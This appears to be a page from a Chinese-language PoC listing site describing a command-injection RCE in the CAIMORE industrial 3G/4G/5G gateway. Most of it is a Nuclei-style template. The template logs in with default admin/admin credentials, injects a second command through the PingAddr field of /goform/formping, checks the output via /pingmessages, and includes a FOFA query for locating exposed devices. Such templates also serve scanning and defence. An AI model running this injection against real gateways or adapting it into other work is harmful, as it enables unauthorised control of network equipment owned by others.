caimore-gateway-rce: CAIMORE Gateway - Remote Code Execution

日期: 2025-08-01 | 影响软件: CAIMORE Gateway | POC: 已公开

漏洞描述

The gateway of Xiamen Caimao Communication Technology Co., Ltd. is designed with open software architecture. It is a metal shell design, with two Ethernet RJ45 interfaces, and an industrial design wireless gateway using 3G/4G/5G wide area network for Internet communication. There is a command execution vulnerability in the formping file of the gateway of Xiamen Caimao Communication Technology Co., Ltd. An attacker can use this vulnerability to arbitrarily execute code on the server side, write to the back door, obtain server permissions, and then control the entire web server.

PoC代码[已公开]

id: caimore-gateway-rce

info:
  name: CAIMORE Gateway - Remote Code Execution
  author: momika233
  severity: high
  description: |
    The gateway of Xiamen Caimao Communication Technology Co., Ltd. is designed with open software architecture. It is a metal shell design, with two Ethernet RJ45 interfaces, and an industrial design wireless gateway using 3G/4G/5G wide area network for Internet communication. There is a command execution vulnerability in the formping file of the gateway of Xiamen Caimao Communication Technology Co., Ltd. An attacker can use this vulnerability to arbitrarily execute code on the server side, write to the back door, obtain server permissions, and then control the entire web server.
  reference:
    - https://www.ctfiot.com/126482.html
  metadata:
    max-request: 2
    fofa-query: app="CAIMORE-Gateway"
  tags: ciamore-gateway,rce,authenticated,intrusive,vuln

http:
  - raw:
      - |
        POST /goform/formping HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Accept-Encoding: gzip

        PingAddr=127.0.0.1%7Cecho%20{{randstr}}&PingPackNumb=1&PingMsg=
      - |
        GET /pingmessages HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}
        Accept-Encoding: gzip

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "{{randstr}}"

      - type: status
        status:
          - 200
# digest: 490a0046304402201af97e218e3a2cd9a6741e3bdbad2b6c1006afb2df1a881ad17f739ead7d99620220622d412d8fdcd008e278884219b9528362fb1f290d7755c72aa901ad32b85063:922c64590222798bb761d5b6d8e72950

相关漏洞推荐